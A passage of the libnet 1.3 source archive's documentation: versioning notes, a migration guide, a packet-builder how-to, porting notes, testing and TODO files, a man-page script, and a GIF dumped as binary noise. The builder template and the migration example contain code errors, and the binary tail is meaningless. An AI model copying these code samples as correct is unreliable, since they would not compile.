zero, and finally increase age. This, rather confusingly, gives us 2:0:1 which libtool then translates to `libnet.so.1.1.0`. **Example #2:** some existing functions are changed, they now return an `int` instead of `void`. The initial version is 0:0:0, and we follow the rules again: increment revision, increment current and set revision to zero, set age to zero. This gives us 1:0:0, which is then translated to `libnet.so.1.0.0`. ### Note Usually, non-developers have no interest in running development versions (releases are frequent enough), and developers are expected to know how to juggle versions. In such an ideal world, it is good enough to bump the library version just prior to a release, point 2. However, if releases are few and far between, distributors may start to use snapshots. When a distributor uses a snapshot, the distributor has to handle the library version manually. Things can get ugly when the distributor has released an intermediate version with a bumped library version, and when the official release is bumped to that version, the distributor will then have to bump the library version for the official release, and it can be confusing if someone reports bugs on versions that you didn't even know existed. The problem with bumping the version with every change is that if your interface is not finished, the version number might run away, and it looks pretty bad if a library is at version 262. It kind of tells the user that the library interface is volatile, which is not good for business. [1]: https://www.gnu.org/software/libtool/manual/html_node/Updating-version-info.html libnet-1.3/doc/MIGRATION.md0000664000175000017500000001572014506572036013503 0ustar syqsyqMigrating Your Code to libnet 1.1 or Later ========================================== by Mike D. Schiffman Using Libnet 1.1 you will find it MUCH simpler to build and write packets than before. Instead of the previous five steps (initialize memory, initialize network, build packet, do checksums, write packet) there are now only three steps (initialize library, build packet, write packet). In order to port your existing code, you will mainly be *removing* function calls and variables. Cleanup ------- Start with code removal: - Remove all calls to `libnet_init_packet()` packet `malloc()`ing, and all associated variables - Remove all calls to `libnet_open_raw_sock()`, `libnet_open_link_layer()`, and all associated variables - Remove all calls to `libnet_do_checksum()` and all associated variables Code Changes ------------ Continue with code addition and modification. You will need a single `libnet_t *l` which is your libnet file context and an error buffer: libnet_t *l char errbuf[LIBNET_ERRBUF_SIZE]; l = libnet_init( LIBNET_RAW4, /* or LIBNET_LINK or LIBNET_RAW6 */ NULL, /* or device if you using LIBNET_LINK */ errbuf); The `libnet_build_*()` functions are largely unchanged with a few important differences: 1. Packets headers *MUST* be stacked *IN ORDER*. This is intuitive and shouldn't be a problem. Due to the way individual packet header memory is allocated and how packet pieces are combined to build a packet they *HAVE* to be built *IN ORDER*, from the high end of the protocol stack on down. i.e.: using the raw interface to build a NTP packet, you would: libnet_build_ntp(...) libnet_build_udp(...) libnet_build_ipv4(...) To build the same packet using the LINK interface on top of ethernet you would: libnet_build_ntp(...) libnet_build_udp(...) libnet_build_ipv4(...) libnet_build_ethernet(...) > **Note:** There is the option now of using `libnet_autobuild_ipv4()` and > `libnet_autobuild_ethernet()` which have fewer arguments and smaller > stack frames, and are a bit more convenient. 2. The `libnet_build_*()` functions return a `libnet_ptag_t` datatype on success or -1 on error. This ptag is your "protocol/packet tag" so you can find this header again if you needed to modify it later on. If you don't need to modify the packet header you can throw this value away. You should definitely check for error now on your build functions. A lot's going on down there fellas. > **Note:** that after packets are built, they may be accessed > independently of construction order via the saved ptag. 3. They *NO LONGER ACCEPT BUFFER ARGUMENTS*. This is *ALL* done internally. The last *TWO* arguments are the libnet context you created in your call to `libnet_init()` and an *OPTIONAL* ptag argument. The ptag argument, if non-zero, specifes a packet tag to an *ALREADY EXISTING* packet header that will be *OVERWRITTEN* with the values specified in this `libnet_build_*()` function call. This is how you modify existing packet header pieces. If this ptag is 0, a new protocol block is allocated and the packet is pushed down on the "protocol stack". 4. For the functions that build headers that have checksums these are *NOW SPECIFIED AS AN ARGUMENT*. This adds more flexibility in how checksums are done (you can leave the field 0, put in a random value, precompute it on your own, or let the library do it). By default, when you build a header, a `DO_CHECKSUM` flag will be set. This means the library will compute the checksum for the header and possibly over the data before the packet is written. To clear this flag, there is a special macro you can call on the ptag refering to that header. 5. For the functions that have a length, it now specifies the *TOTAL* packet length from that protocol unit on down. For IP, that would be the entire packet length. For TCP, that would be TCP and any possible data. 6. Nomenclature support for the eventual support of ipv6 has been added. ### Example libnet_ptag_t ip_tag; libnet_ptag_t tcp_tag; tcp_tag = libnet_build_tcp( src_prt, /* source TCP port */ dst_prt, /* destination TCP port */ 0xffff, /* sequence number */ 0x53, /* acknowledgement number */ TH_SYN, /* control flags */ 1024, /* window size */ 0xd00d, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H /* TCP packet size */ NULL, /* payload (none) */ 0, /* payload length */ l, /* libnet context */ 0); /* ptag */ ip_tag = libnet_build_ipv4( LIBNET_TCP_H + LIBNET_IPV4_H,/* total packet len */ IPTOS_LOWDELAY, /* tos */ ip_id, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source ip */ dst_ip, /* dest ip */ NULL, /* payload (none) */ 0, /* payload size */ l, /* libnet context */ 0); /* ptag */ Now, if you wanted to modify one of these headers in a loop somewhere you would: int i; for (ip_tag, tcp_tag = LIBNET_PTAG_INITIALIZER, i = 0; i < 10; i++) { tcp_tag = libnet_build_tcp(++src_prt, ..., l, tcp_tag); ip_tag = libnet_build_ipv4(..., ++ip_id, ..., l, ip_tag); /* do something */ } Since we are specifying a ptag for an existing header, the build function will NOT create a new header and append it to the list, it will FIND the one referenced by the ptag and *UPDATE* it. Since there is nothing new being created, order is NOT important here. Also note that it's perfectly fine to wrap the loop around the initial building of the packets. Since we're initializing the ptags (to be zero), the first call into the builder functions will allocate the memory and create the packet blocks. These calls will return ptag values. The next calls will modify these headers since the ptags will not be NULL. ### Writing the Packet Finally, we write the packet. Checksums are computed, by default for each protocol header that requires one. If the user specifies a non-zero value, by default, this will be used *INSTEAD* of a libnet computed checksum. This behavior is possible to override with: Turn ON checksums for header referenced by ptag: libnet_toggle_checksum(l, ptag, 1) Turn OFF checksums for header referenced by ptag: libnet_toggle_checksum(l, ptag, 0) Note, the packet header MUST exist before you can toggle this setting. int c; c = libnet_write(l); Boom. You're done. Now go read the sample code. libnet-1.3/doc/Makefile.am0000664000175000017500000000114714506572036013662 0ustar syqsyqdist_doc_DATA = MIGRATION.md RAWSOCKET.md dist_man1_MANS = man/man1/libnet-config.1 man3_MANS = man/man3/libnet.3 \ man/man3/libnet-functions.3 \ man/man3/libnet-macros.3 EXTRA_DIST = fixmanpages.in libnet.Pod EXTRA_DIST += api-main.md api-head.html api-foot.html api-style.css DISTCLEANFILES = libnet.tag $(man3_MANS) if ENABLE_HTML pkghtmldir = $(docdir)/html pkghtml_DATA = html/* $(pkghtml_DATA): doxygen-doc endif # # Doxygen rules from m4/ax_prog_doxygen.m4 # @DX_RULES@ doc $(man3_MANS): doxygen-doc all-local: doc $(AM_V_at)./fixmanpages clean-local: $(AM_V_at)-rm -rf html libnet-1.3/doc/PACKET_BUILDING0000664000175000017500000001506114506572036013775 0ustar syqsyq=============================================================================== $Id: PACKET_BUILDING,v 1.3 2004/04/13 17:32:28 mike Exp $ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman http://www.packetfactory.net/libnet =============================================================================== ADDING A NEW PACKET BUILDER, STATIC HEADER SIZE Adding a new packet building module to libnet is usually pretty simple. The following short document details how to add a packet builder to libnet for a protocol that has a static header size. We'll use the Sebek protocol as an example to walk through the process. 1) Make sure you have a good reference for the protocol in question. Be it an RFC or an official release doc from the author or vendor, you'll need something comprehensive. For Sebek, the comprehensive reference is here: http://project.honeynet.org. 2) Figure out how big the header is and add it to the top of libnet-headers.h: #define LIBNET_SEBEK_H 0x30 /* sebek header: 48 bytes */ 3) Create the protocol header structure and add it to the end of libnet-headers.h. Take care to use POSIX datatypes to define all of your values. Structure naming conventions are more or less up to you. Since they're never exported to the user, it's not a big deal, but try to keep them short and descriptive. Convention is to add the symbolic constant #defines above the structure members they apply to. /* * Sebek header * Static header size: 48 bytes */ struct libnet_sebek_hdr { u_int32_t magic; /* identify packets that should be hidden */ u_int16_t version; /* protocol version, currently 1 */ #define SEBEK_PROTO_VERSION 1 u_int16_t type; /* type of record */ #define SEBEK_TYPE_READ 0 /* currently, only read is supported */ #define SEBEK_TYPE_WRITE 1 u_int32_t counter; /* PDU counter */ u_int32_t time_sec; /* EPOCH timer */ u_int32_t time_usec; /* residual microseconds */ u_int32_t pid; /* PID */ u_int32_t uid; /* UID */ u_int32_t fd; /* FD */ #define SEBEK_CMD_LENGTH 12 u_int8_t cmd[SEBEK_CMD_LENGTH]; /* 12 first characters of the command */ u_int32_t length; /* PDU length */ }; 3) Append a pblock identifier to the end of the list in libnet-structures.h. The ID number is not imporant as long as it is UNIQUE. As such, just find the last entry, append the new entry after it, and increase the pblock ID by one: #define LIBNET_PBLOCK_SEBEK_H 0x3f /* Sebek header */ 4) Create your new builder file in src/. Adhere to the "libnet_build_PROTOCOL.c" convention. I recommend copying one of the existing builder modules and modifying it as you go. 4a) #include "common.h" libnet_ptag_t libnet_build_sebek(u_int32_t magic, u_int16_t version, u_int16_t type, u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid, u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { libnet_ptag_t libnet_build_XXX(u_char arg1, u_short arg2, u_long arg3, u_char *payload, u_long payload_s, libnet_t *l, libnet_ptag_t ptag) { /* * n is the size of the protocol unit. This is usually the header size * plus the payload size. This is also how many bytes are allocated on * the heap to hold this protocol unit. */ u_long n; /* * h is used inside the pblock structure to let libnet know how big * much data to checksum. This is different for different protocols. * The IPv4 checksum covers the IP header only, while TCP and UDP * checksums cover header and data. */ u_short h; /* * p will be used to refer to the protocol block that will either be * allocated if the function's pt argument is 0, or located if ptag refers * to a previously created protocol unit. */ libnet_pblock_t *p; /* * XXX_hdr is the header structure that will be overlaid onto the * allocated memory by way of a memcpy. */ struct libnet_XXX_hdr XXX_hdr; /* * Here we sanity check to make sure we have a live l. */ if (l == NULL) { return (-1); } n = LIBNET_XXX_H + payload_s; h = 0; /* no checksum by default */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, pt, n, LIBNET_PBLOCK_XXX_H); if (p == NULL) { return (-1); } /* * Build your packet here. Be sure to call appropriate endian conversion * routines. */ XXX_hdr.field1 = arg1; XXX_hdr.field2 = htons(arg2); XXX_hdr.field3 = htonl(arg3); /* * Appened the protocol unit to the list. */ n = libnet_pblock_append(l, p, (u_char *)&XXX_hdr, LIBNET_XXX_H); if (n == -1) { goto bad; } /* * Sanity check the payload arguments. */ if ((payload && !payload_s) || (!payload && payload_s)) { sprintf(l->err_buf, "%s(): payload inconsistency\n", __FUNCTION__); goto bad; } /* * Append the payload to the list if it exists. */ if (payload && payload_s) { n = libnet_pblock_append(l, p, payload, payload_s); if (n == -1) { goto bad; } } /* * If this packet header has a checksum field, you'll add this * and you'll have to edit libnet_checksum.c to add it to the switch * table. You might have to define the protocol number too. */ if (sum == 0 && l->injection_type != LIBNET_RAW4) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } /* * Update the protocol block's meta information and return the protocol * tag id of this pblock. This tag will be used to locate the pblock * in order to modify the protocol header in subsequent calls. */ return (pt ? pt : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_XXX_H)); bad: libnet_pblock_delete(l, p); return (-1); } 4) Add it to src/Makefile.am and then automake from the TLD. 5) Test the shit out of it. 6) Send it over to mike@infonexus.com. libnet-1.3/doc/PORTED0000664000175000017500000001144714506572036012552 0ustar syqsyq============================================================================== P O R T I N G S T A T U S ============================================================================== libnet is reasonably portable. If you verify libnet building and running successfully (sample code works) on platforms currently labeled UNKNOWN or not listed here at all, please send email to autostart.ini@gmail.com. libnet has been run successfully on at least the following operating systems: SYSTEM STATUS NOTES ============================================================================== LINUX ------------------------------------------------------------------------------ Linux 3.x FULL (primary development platform) SOLARIS ------------------------------------------------------------------------------ Solaris UNKNOWN not confirmed working in ages *BSD ------------------------------------------------------------------------------ FreeBSD UNKNOWN not confirmed working in ages OpenBSD UNKNOWN not confirmed working in ages NetBSD UNKNOWN not confirmed working in ages HP-UX ------------------------------------------------------------------------------ HP-UX UNKNOWN not confirmed working in ages Apple (Darwin) ------------------------------------------------------------------------------ macOS FULL not tested by me WINDOWS (Native/MinGW/Cygwin/Cross) ------------------------------------------------------------------------------ MSVC 14.0 FULL Working. See README.win32 for instructions MinGW (GCC 6.2) FULL Working. See README.win32 for instructions Cygwin UNKNOWN not confirmed working in ages ANDROID (Native/Cross) ------------------------------------------------------------------------------ Termux (clang 3.9.1) FULL Working. See detailed instructions below ARM Toolchain (gnueabi) FULL not tested by me Platform Specific Details/Instructions ====================================== ANDROID ------- libnet can be build natively on Android devices running 5.0 Lollipop (SDK 21) or higher using Termux (https://termux.com/). See the help pages of Termux for install and setup instructions. Bbuild from a release (https://github.com/libnet/libnet/releases) The minimum packages to install are: coreutils (important! Busybox alone is not enough!) autoconf automake m4 make libtool clang git (optional) After that: 1. $ git clone https://github.com/libnet/libnet.git This is optional. As explained earlier, you can also build from a release. 2. $ cd libnet && autoreconf -i Attention! You can not use the autogen.sh bootstrapping script for this step. The Android file system only loosely resembles what many of us are used to from their *nix boxes. This means that in Android, many files and folders aren't located where you would expect them. As a result, many shell scripts, including this one, will not be able run because their shebangs are pointing to a none-existing location. (/bin/sh instead of /system/bin/sh or in Termux's case: /data/data/com.termux/files/usr/bin/sh) 3. $ ./configure TMPDIR=$PREFIX/tmp --prefix=$PREFIX TMPDIR=$PREFIX/tmp Tell configure to use $PREFIX/tmp instead of /tmp This is the only MANDATORY configure option. This is due to the fact that config.guess is (without root privileges) unable to write to /tmp --prefix=$PREFIX where to (possibly) install libnet Use "$PREFIX" or make sure to add a valid path 4. $ make 5. $ make install This step is optional and really only works if the proper prefix has been set in step 3 Final Thoughts: - You don't need a rooted device to build libnet, but you need need root privileges in order to try the samples and to make use of libnet in general. - You can not execute anything libnet from the Termux shell, because it does not have root privileges. - Even when you elevate you prompt and become root (by typing 'su'), you will most likely still be unable to to use libnet right away. The reason for that is that root prompts in Android come with their own shell (which is separate from the one you use to elevate). So you need to either set or migrate the necessary environment variables you had in your previous (Termux) shell over to your newly spawn root shell. Specifically LD_LIBRARY_PATH If you don't know what that means just run this every time you're root and want to use libnet (adjust path accordingly): LD_LIBRARY_PATH=/data/data/com.termux/files/usr/lib libnet-1.3/doc/RAWSOCKET.md0000664000175000017500000000261714506572036013515 0ustar syqsyqRaw Socket Non-Sequitur ======================= by Mike D. Schiffman Raw sockets are horribly non-standard across implementations. Here is an incomplete list of some of the differences (corrections welcomed). Solaris, for example, has terrible support for this packet interface. Older OpenBSD versions and FreeBSD before 11 versions have the `BSD_BYTE_SWAP` issue where the `ip_len` and `ip_frag` fields must be in host byte order. Linux apparently doesn't allow for the injection of broadcast IP datagrams. Whenever complete control over the IP header is desired, use the link layer API. Linux 2.2+ ---------- IP fragmentation: performed if packet is larger than MTU IP checksum: always filled in IP total length: always filled in IP ID: filled in when zero IP source address: filled in when zero IP destination address: filled in when zero Max packet size before kernel complains: 1500 bytes Solaris 2.6+ ------------ IP fragmentation bits: can't specify IP fragmentation: performed if packet is larger than MTU IP DF bit: always set IP checksum: always filled in Max packet size before kernel complains: ? OpenBSD 2.8+ ------------ IP fragmentation: performed if packet is larger than MTU Max packet size before kernel complains: 8192 bytes libnet-1.3/doc/TESTING.md0000664000175000017500000000264714506572036013273 0ustar syqsyqUnit Testing ============ For Unit Testing [CMocka](https://cmocka.org/) is used. Unit Tests resides in the `test/` subdirectory. Example ------ This is an example of how to add a test for the completely made up libnet function `libnet_build_foo()`. First, we create a new file `test/foo.c` where we add a test function `test_libnet_build_foo()`, which is where all the test logic goes: ```c static void test_libnet_build_foo(void **state) { (void)state; /* unused */ ... assert_..._(...); ... } ``` > **Tip:** For help on the various checks you can do, see the [CMocka > Assert Macros](https://api.cmocka.org/group__cmocka__asserts.html). Add the test function to `tests[]` to let CMocka run it. You can have multiple test functions testing various aspects/APIs of a given module. ```c int main(void) { const struct CMUnitTest tests[] = { cmocka_unit_test(test_libnet_build_foo), }; return cmocka_run_group_tests(tests, NULL, NULL); } ``` Second, add the new test file to `test/Makefile.am`, in the TESTS variables, alphabetically: ```Makefile ... AM_LDFLAGS = -lcmocka $(top_builddir)/src/libnet.la TESTS = ethernet TESTS += foo TESTS += udld ... ``` Finally, compile and run. For details, see section [Running Unit Tests with CMocka](../README.md#running-unit-tests-with-cmocka) in the README. ```bash ~/src/libnet(ethernet-test)$ make check ``` libnet-1.3/doc/TODO.md0000664000175000017500000001011714506572036012712 0ustar syqsyqTODO ==== Stuff we didn't finish and where help is needed. Cleaning up the below list is another thing we need help with. - Build with debug memory allocation or dmalloc library - http://dmalloc.com/ - https://www.gnu.org/software/automake/manual/html_node/Public-Macros.html (`AM_WITH_DMALLOC`) - Switch to npcap (win32) - Take inventory of http://stackoverflow.com/questions/tagged/libnet# - Add automatic tests for `make check`, IPv6 in particular - change all `__WIN32` and `__WIN32__` preprocessor directives with the more universal `WIN32` and `_WIN32` directives (msvc + mingw) (eliminating the need for `-mwin32`) - Improve documentation: FAQ, Examples, adding RFCs - Fix "broken" samples (on win32?) - Fix MSVC/Mingw collision 1.1.x TODO LIST --------------- The following is possibly outdated and already fixed. - Update the man page! - Add a programmer's man page detailing the pblock architecture. - Fix plist memory leak. - Fix IPv6. According to RFC 2992: > "Another difference from IPv4 raw sockets is that complete packets > (that is, IPv6 packets with extension headers) cannot be read or > written using the IPv6 raw sockets API. Instead, ancillary data > objects are used to transfer the extension headers, as described > later in this document. Should an application need access to the > complete IPv6 packet, some other technique, such as the datalink > interfaces BPF or DLPI, must be used. > > All fields in the IPv6 header that an application might want to > change (i.e., everything other than the version number) can be > modified using ancillary data and/or socket options by the > application for output. All fields in a received IPv6 header (other > than the version number and Next Header fields) and all extension > headers are also made available to the application as ancillary data > on input. Hence there is no need for a socket option similar to the > IPv4 `IP_HDRINCL` socket option." - Add self-throttling logic to `libnet_write()`/`libnet_init()`? Advanced mode thing? - Prune the include list in `libnet.h.in`. Also add conditionals around the headers we use for building the library, but not when using it. - Data marshalling API for unaligned structures (like STP). - Make Cisco ISL work. The issue is that we have build our Ethernet frame first, then encapsulate it inside of an ISL envelope. - We have to compute CRCs for both Ethernet and ISL. - Tune advanced interface functionality that allow the application programmer to get inside `libnet_t`. - Test HPUX 11 port. - Test cywin32 port. - Flesh out the advanced mode. - Consider making a flag for "strict mode" where libnet will check things like when you build an IP options list there is an IP header preceding it (likewise for TCP)... Other "smart" things could happen in this mode too. When in non-strict mode, libnet will be less rigid but prone to user-error mode. - If we have a problem building a header we might end up freeing it creating a NULL entry on the list and preventing us from getting to entries beyond it (to free or whatever). Maybe we should mark it bad or something and rely on the cleanup at the end to free it up? - Fix checksum support for CDP - Verify Checksuming: Currently verified working on OpenBSD/Linux/Solaris: - raw IP/UDP [with and without data] - raw IP/TCP [with and without data] - raw IP/ICMP [with and without data] - raw IP/OSPF - hello packet [with no auth data] - hello packet [with no auth data and LSA sub-header (LSA check = bad)] - link IP/UDP [with and without data] - link IP/TCP [with and without data] - Update the rest of the `libnet_link_*` files for the new format, already ported: - bpf [works] - linux packet socket [works] - linux sock packet [works] - dlpi [works] - Port link stuff to use `writev()` in `libnet_write()` (sendto can't hang). - Get IPsec code working. - Add the following packet builders: - SNMP - Update `__libnet_handle_dump` to dump everything in `l` verbosely. libnet-1.3/doc/api-foot.html0000664000175000017500000000036414506572036014232 0ustar syqsyq
Documentation for libnet (version $projectnumber).
Generated on $date by Doxygen $doxygenversion.
libnet-1.3/doc/api-head.html0000664000175000017500000000117114506572036014161 0ustar syqsyq libnet: API Documentation: $title $extrastylesheet libnet-1.3/doc/api-main.md0000664000175000017500000000065214506572036013643 0ustar syqsyqlibnet API Documentation {#mainpage} ==================================== 1998 - 2019 The libnet Developer Community Content(s) ---------- - [Main Page](index.html) - Files - [File List](files.html) - [Globals](globals.html) - Bindings - [Lua](https://github.com/libnet/libnet-lua) - [Python](https://github.com/allfro/pylibnet "pylibnet") Introduction ------------ This manual documents the low-level libnet API. libnet-1.3/doc/api-style.css0000664000175000017500000000021214506572036014237 0ustar syqsyq/* Additional CSS for libnet */ body { background-color: #fafafa; } .memdoc, dl.reflist dd { background-color: #f7f5f5; } /* @end */ libnet-1.3/doc/fixmanpages.in0000664000175000017500000000622614506572036014463 0ustar syqsyq#!@SHELL@ # Doxygen's man page generation is unfortunately very rudimentary. # # So in addition to creating the libnet(3) man page from pod file, this # script also tries to add a few "finishing touches" to man pages # generated by Doxygen. # # It will run after building libnet and after Doxygen generated all its # documentations. If you ever have to run it manually, you should do the same. # Apart from a few widely available GNU utilities, you'll also need pod2man # (aka libpod-latex-perl) to get it to work. MANPAGENOTE='.SH "SEE ALSO"\n\.IX Header "SEE ALSO"\nlibnet(3)\n.SH "AUTHORS"\n.IX Header "AUTHORS"\nThe original author of libnet is Mike D. Schiffman.\n.PP\nlibnet has been maintained and extensively enhanced since 2009 by Sam Roberts.\n.PP\nIt is maintained by the Libnet Developer Community at GitHub.\n.PP\n.Vb 1\n\& \n.Ve\n.SH "BUGS"\n.IX Header "BUGS"\nSuggestions, bug reports/fixes, and pull requests, see:\n.PP\n.Vb 1\n\& \n.Ve\n.SH "COPYRIGHT"\n.IX Header "COPYRIGHT"\nlibnet is licensed under the 2\-Clause \s-1BSD\s0 License.' die() { echo "$*" 1>&2 exit 1 } MANDIR=$1 if test x"$MANDIR" = x ; then MANDIR=man/ fi test -d $MANDIR/man3 || die "Could not locate $MANDIR/man3 directory." # For now, I will let Doxygen still produces its useless and totally misleading # man page for "libnet.h" and simply delete it now. That's mostly because not # doing so will also remove all references to "libnet.h" in all documentations. # And we wouldn't want that, would we? find $MANDIR/man3/ -name "libnet.h.3" -exec sh -c 'rm -f "$1"' _ {} \; # Let's create libnet.3 before dealing with the rest. # pod2man's ISO 8601 date format is fine, even if it differs from doxygen's pod2man -n LIBNET -c "libnet Programmers Guide" -s 3 -r "@PACKAGE_NAME@-@PACKAGE_VERSION@" @top_srcdir@/doc/libnet.Pod man/man3/libnet.3 || die "Could not create libnet.3 in $MANDIR/man/man3." # pod2html --title="libnet Programmers Guide" --noindex --infile=libnet.Pod --outfile=libnet.html cd "$MANDIR/man3" || die "Could not cd into $MANDIR/man3" # A little housekeeping... (find . -name "_*" -exec sh -c 'rm "$1"' _ {} \;) || die "could not remove all underscore-prefixed items" # renaming all man pages form "*.h.3" to just "*.3" (find . -name "*.h.3" -exec sh -c 'mv "$1" "${1%.h.3}.3"' _ {} \;) || die "could not rename all .h.3-suffixed items" # Changing the name of the man pages to all UPPERCASE. # FIXME make Doxygen properly generate docs for all other # libnet-*.h files and add them here sed -i -e '1!b;s/libnet\/libnet-functions\.h/LIBNET-FUNCTIONS/' libnet-functions.3 sed -i -e '1!b;s/libnet\/libnet-macros\.h/LIBNET-MACROS/' libnet-macros.3 # Adjusting version string, changing the title, removing both the path and # the ".h" extension from name section as well as adding a few more sections # to the end. for MAN in $(find . -name "libnet-*.3"); do sed -i -e '1!b;s/Version\ /libnet-/' \ -e '1!b;s/"libnet"/"libnet\ Programmers \Guide"/' $MAN sed -i -e '5 s/libnet\///' \ -e '/.SH "Author"/,/from the source code\&./c \nBe' $MAN echo -e $MANPAGENOTE >> $MAN done libnet-1.3/doc/libnet.Pod0000664000175000017500000000476614506572036013561 0ustar syqsyq=pod =encoding utf8 =head1 NAME libnet - A C library for packet creation and injection =head1 SYNOPSIS B<#include Elibnet.hE> =head1 DESCRIPTION libnet is a packet assembly library that provides a portable interface for packet creation and injection. It is a high-level API that allows an application programmer to construct and inject network packets. libnet provides a simplified interface for low-level network packet shaping, handling and injection. libnet hides much of the tedium of packet creation from the application programmer such as multiplexing, buffer management, arcane packet header information, byte-ordering, OS-dependent issues, and much more. libnet features portable packet creation interfaces at the IP and link layer, as well as a host of supplementary and complementary functionality. Using libnet, quick and simple packet assembly applications can be whipped up with little effort. With a bit more time, more complex programs can be written (L and L were easily rewritten using libnet and L. When building applications with libnet we recommend using L to detect the precense and required version of libnet. The L script is still bundled in the libnet distribution, but is considered to be deprecated in favor of L. Both can be used to get compiler and linker flags of the installed libnet library, as well as provide other useful information. For applications using GNU autotools, we recommend using the PKG_PROG_PKG_CONFIG and PKG_CHECK_MODULES m4 macros. B: If you are writing your application with libnet, include F, which will include any additional header for you, rather than including F, F or any of the others. =head1 BACKWARDS COMPATIBILITY Your old code (circa libnet B<1.0.x>) WILL NOT WORK with libnet> B=1.1.x>. See B for easy steps on porting your old code. =head1 SEE ALSO L, L, L, L =head1 AUTHORS The original author of libnet is Mike D. Schiffman. libnet has been maintained and extensively enhanced since 2009 by Sam Roberts. It is currently maintained by the Libnet Maintainers at GitHub: =head1 BUGS Suggestions, bug reports/fixes, and pull requests, see: =head1 COPYRIGHT libnet is licensed under the 3-Clause BSD License. =cut libnet-1.3/doc/libnet.gif0000664000175000017500000002014714506572036013573 0ustar syqsyqGIF89a%!!!)))111999BBBJJJRRRZZZccckkksss{{{޵Υス֥Μ筭焄JBB9B9B99191kcJ9B1オΜ޵֥֭ƽΥ省νε筵ޥ֭֌Μ{9J1BƔބΌs{{s{{)9!1)s{ksckksckZcckZcRZJRRZJRBJBJ9B1919)1!罽ֵ筭ﭭֽﵵ筭ޥ֜έ猌քΌ{{sskkss,%H*\ȰÇ#JHŋ3jȱǏ CIɓ(S\ɲ˗0cʜI͛8sԉϟ@ 9bѣH%z0S)JJՃUOAWW;tpϨ_ӪeirEQtݻ"=ݰA\h |-~JcVjАAq3kqeZn؃dʠb&ndϩ2nM[mgʟc;]]&THMGM|7F_nt64 w3 +o'?7$g/:!Ïz-D%r4 6 IJ8(-(Yx!k@ eP m$1T\,4#)ڦx%eUq`Nqf8g$F"]Fz0e:6 % D UoxPm|M8Rm]@aIc=@Xom | 5^n*2cDlȠAm8oBdXnY X( h!ʗ*PfQczXIBifKZb}XJ{i56tI2a+RDdX_ijn/:ݪQɇ 訷muv Y !pJ_ܪ2+\Ϊ*bMqLxA%(C#sbv xVokBn ):mC[ u+)-\h$'W[QFfJ}iwҹ=JKyM4wp]m-4D5kqq %60۬EnjR08A.yg aJYP61BG9N'܁W8&^eHZoОo:nyG?%1of>@h&1_B&(L R7B]k 83sg)i | ǂ'![( pK9(-i£QX&{0$P*E/u9Z82j-@\v#QlSŢ0//#rY]#ѐH+,Vz,nz#L"$m  gS`Y-K$(9JSnddeŇjR SQ.ԑj8ýk`,X.~úUM D]p(Ǽ]sP)."+Yt1iHދL751b?Y}GR)dzTVndl#u=!ƹ80)us@Ani„!8ͩN!ot#@?P聨' "G؂T1(AH, Q!!{)jQ`T:hD̉T2kRNJC#v˶hWaH+ \A6g=9ȿ2|7V{%gUwL~XNjm@j2V4I%RAZF8$L!*l´$Z9 G-HK8<uKc :+ ;kRĴ[fڭi65׆)h>rw΍QL /}Z5H8=l[8/EQ 8;\![DZ+Bab;.r- 0&Rz*n OV,]a0emÍc@R2JpK7oFEub*P m jHn실1#xY諴Bi)TɟRƩ+/bH 5Gmh K#X:-Y p@`Dьnyw 9Ƚb cg2W'_\ 3ccϟ+,̺WvۖЄv7Ϫ+s{w[᳽h]umˎZG,'/s+&Lo纡fwPTnW 3)B /@p9  @Uԅ+jc='؂;I@ TA" sK W6I*Xs`jUpt2!+lQ)%iLweEJg*^giM].;N:+p`%'rlܿ%'gh9{T`]xWZ@x8j(_33󋚐 ݊q(K#<AgU I8K&%q ӛcDǎ7o+wu6ZlB=;C eV} p'itai=ps\GriA27%x-;'jiIrT?{4RaGv uwNCeR'Pj˴Tyh2~RNAG[zh>C'Izzm|rrF7oœ{XrvPtv.`xbP<Ӈ2y=0m£'eP>XQ8Ȧ:L$:ܲ}hhl"h_Ivf&Kp$US!7REyc+xTr$U/x1(X82L$ 'k҂,~=8G)!Z~U\U|h 6iei"aɈ/+)*h~HN~K ^TYl9E$Db' h\iY;G$*_CiGgb"32Lcz_/n5HjHJxD;50w9VxQ2}d:ˉN8m )^?s{%U)GY*ߖ@w' I҆ɒFXT3y;rk#0i8eg)LH)NYف5 W7X<]9q(a4@ ꖴ9-y夭ga:VCAa:F|ȡO+sfD\|j3iGWbj-iB8pfx=Ry$6:i@6A:cVzЙ'Ai*uF(O)0 pTZyQ8)C/jb6Y<p<4reCBnSy܊e #ZT:+ftUYɭx5Q lڧ} 3~%#|f(_u:q1Vx_LyڔRʤXrv4)+r0HT+گⱆSBps8X$8t?ZU@8%q]s*ѴgirTe:GV7i_\w}yk4m`~crzIO`-{ʸcIdDad#6C`lP.މ(,#veR[RZvgy.)WonQ şڲtzk9kI}t`-)r5G@,qpb\+{k/8LpL` ટk)rgpM[B*˹}"X rPfDϚ"l+湣Zm" =h X<.j IKи›4"l"V#6oo Fl{xY(I6`FqqL9;댋fQH~*~$s I[_mWy*$ x;YoTvPIkxP!E$zԽ+g%<|#R"Am"ԺǝƶY_zVRh|W"j˷c{/z@-DF>>}H^s; Ԁ0>1X}JW;I0"VPIpFXɓqYC3D4rz|~׀pq nrpⱮZs.ًM--] - @oMK;$@=G +^DCڰ۲=۴*;qPۍ-dtbۦʻ}ْ--(eېF~BڽݰDMnP4H-D^FH=C-A>Dߋ%؝E{(އaH,rpw XCh$_x^~ H~}qD(>t-RB>D^F~HE>t;@$VͧF!Bm[(B0Q@"Ni4Ekvc:`U]>MN^~B䎠[&@QItd\F}G@RgiD?w Ꙏ8kނp^tNO~^ J !wfN|Qq7Q0`ގ4 u^ h'WA>{^D2r1񔪽;bPRpe"yr (A@~;`./p"~)c1H/:ҽE_RCU?˟7?NC ;>~;.HQ ?{_V"_R;>t%o0^)V+{q?q?u?Pz|gQ ;NgEp挞>0{"o3o^crb1~ӝ@trQFc|gN}p < 